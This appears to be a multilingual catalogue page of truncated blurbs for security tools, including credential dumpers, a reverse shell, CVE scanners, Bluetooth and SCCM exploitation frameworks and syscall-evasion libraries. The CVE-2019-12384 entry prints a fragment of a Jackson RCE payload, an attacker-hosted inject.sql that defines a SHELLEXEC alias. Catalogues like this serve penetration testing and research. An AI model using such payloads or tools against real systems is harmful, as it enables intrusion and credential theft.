AnySniff

💀AnySniff AnySniff est un outil de surveillance des connexions TCP des processus comme AnyDesk sur Windows. Il utilise la vulnérabilité CVE-2024-52940 pour suivre les connexions ouvertes et enregistrer les IP, les ports et d'autres détails pertinents. ⚙Fonctionnalités Surveille les connexions TCP...

RatRace

RatRace Un outil CLI léger pour détecter et exploiter systématiquement les conditions de concurrence dans les applications web, les API et les services modernes. Quel problème résout-il Les conditions de concurrence représentent l'une des vulnérabilités de sécurité les plus impactantes dans les...

quicmap

quicmap Довольно быстрый сканер сервисов QUIC quicmap — это относительно быстрый сканер сервисов QUIC, который устраняет необходимость использовать несколько инструментов для идентификации сервисов QUIC, версии используемого протокола, а также поддерживаемых ALPN. Основные возможности Сканировани...

CVE-2019-12384

CVE-2019-12384 RCE et SSRF Jackson 0x01 python -m SimpleHTTPServer python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 127.0.0.1 - - 24/Jul/2019 03:06:32 "GET /inject.sql HTTP/1.1" 200 - inject.sql CREATE ALIAS SHELLEXEC AS $$ String shellexecString cmd throws java.io.IOException...

chalumeau

Chalumeau Chalumeau is automated,extendable and customizable credential dumping tool based on powershell and python. Main Features Write your own Payloads In-Memory execution Extract Password List Dashboard reporting / Web Interface Parsing Mimikatz Dumping Tickets Screenshots Known Issues Parsin...

thc-ipv6

THC-IPV6-ATTACK-TOOLKIT c 2005-2022 [email protected] https://github.com/vanhauser-thc/thc-ipv6 Sous licence AGPLv3 voir le fichier LICENSE INTRODUCTION Ce code a été inspiré lorsque j'ai découvert IPv6, en ai appris de plus en plus – et n'ai trouvé aucun outil pour m'amuser lire : « hacker ...

TeamsNTLMLeak

Описание Когда пользователь переходит на вкладку «Веб-сайт», ведущую на специально созданную веб-страницу, это может привести к раскрытию NTLM-хэша через активацию URL-схемы Office, что сводит процесс утечки к одному клику. Если попытаться открыть из браузера ссылку в формате...

cve_2022_0847_shellcode

cve20220847shellcode Description Ce dépôt contient un script Python genshellcode.py, basé sur pwntools, pour générer un shellcode exploitant CVE-2022-0847. Le shellcode est basé sur ce PoC : antx. J'ai analysé le code du PoC et son exécution avec strace pour capturer tous les appels système...

zap-hud

ZAP Heads Up Display The HUD is no longer under active development Unfortunately the HUD is no longer under active development due to the fact no one is focusing on it. The HUD is a unique and innovative interface that we know some people love. But it also needs a non trivial amount of maintenanc...

RSPET

RSPET RSPET Reverse Shell and Post Exploitation Tool est un reverse shell basé sur Python équipé de fonctionnalités qui aident dans un scénario de post-exploitation. AVERTISSEMENT : Ce logiciel est fourni à des fins éducatives et de tests d'intrusion PenTesting et comme une preuve de concept. Les...

CVE-2020-7931

CVE-2020-7931 : exploitation SSTI dans Artifactory Pro CVE-2020-7931 est en quelque sorte une vulnérabilité de mauvaise configuration volontaire dans Artifactory qui permet aux attaquants d'effectuer des injections de templates côté serveur à partir d'un template FreeMarker. La vulnérabilité a ét...

BlueToolkit

Расширяемый фреймворк для тестирования уязвимостей Bluetooth для BR/EDR и BLE. Документация • Установка • Использование • Эксплойты • Оборудование • TODO • Оценка автомобилей • Ресурсы по Bluetooth • Лицензия BlueToolkit — это модульный фреймворк для тестирования безопасности Bluetooth методом...

sccmsqlclient

sccmsqlclient Специализированный MSSQL-клиент для исследования и эксплуатации базы данных SCCM. Разведочные запросы Запуск PowerShell-скриптов на управляемых клиентах Извлечение секретов Установка PIPX $ pipx install git+https://github.com/synacktiv/sccmsqlclient/ PIP Вы можете установить,...

GetBlocked

GetBlocked! Cleaner pages. Fewer trackers. Local-only. GetBlocked! is a lightweight, local-only Chrome extension that helps reduce common third-party website tracking by blocking known tracker requests, cleaning tracking links, and explaining tracking attempts. An optional experimental Decoy Mode...

CVE-2024-40898

CVE-2024-40898 Ce script Python vérifie la présence de CVE-2024-40898, une vulnérabilité critique dans Apache HTTP Server qui peut permettre le contournement de la vérification des certificats SSL/TLS sous certaines mauvaises configurations. Il initie une connexion SSL au serveur cible et envoie...

CVE-2023-22515-Scan

CVE-2023-22515-Scan À propos Ceci est un scanner simple pour CVE-2023-22515, une vulnérabilité critique dans Atlassian Confluence Data Center et Server qui est activement exploitée dans la nature par des acteurs malveillants afin « de créer des comptes administrateur Confluence non autorisés et...

kanha

Kanha - Une suite de pentesting web écrite en Rust 🦀 Installation ⦾ Sous-commandes ⦾ Contribuer !-----------------------------------------------------line Kanha est un outil qui peut vous aider à effectuer une variété d'attaques basées sur le domaine cible. Avec juste kanha, vous pouvez faire du...

ghidra-mcp

Ghidra MCP Server If you find this useful, please ⭐ star the repo — it helps others discover it! If Ghidra MCP saves you time, consider sponsoring the project. One-time and recurring support both help fund compatibility updates, production hardening, docs, and new tooling. A production-ready Mode...

nimvoke

nimvoke Непрямые системные вызовы + DInvoke без лишних сложностей. Разработанная для прямого импорта в ваши собственные проекты на Nim, nimvoke использует макросы, чтобы абстрагировать детали выполнения непрямых системных вызовов и объявлений делегатов в стиле DInvoke. Эта библиотека проста в...

MCExtractor

MCExtractor Intel, AMD, VIA & Freescale Outil d'extraction de microcode MC Extractor News Feed MC Extractor Discussion Topic Intel, AMD, VIA & Freescale CPU Microcode Repositories A. À propos de MC Extractor MC Extractor est un outil qui analyse les binaires de microcode des processeurs Intel, AM...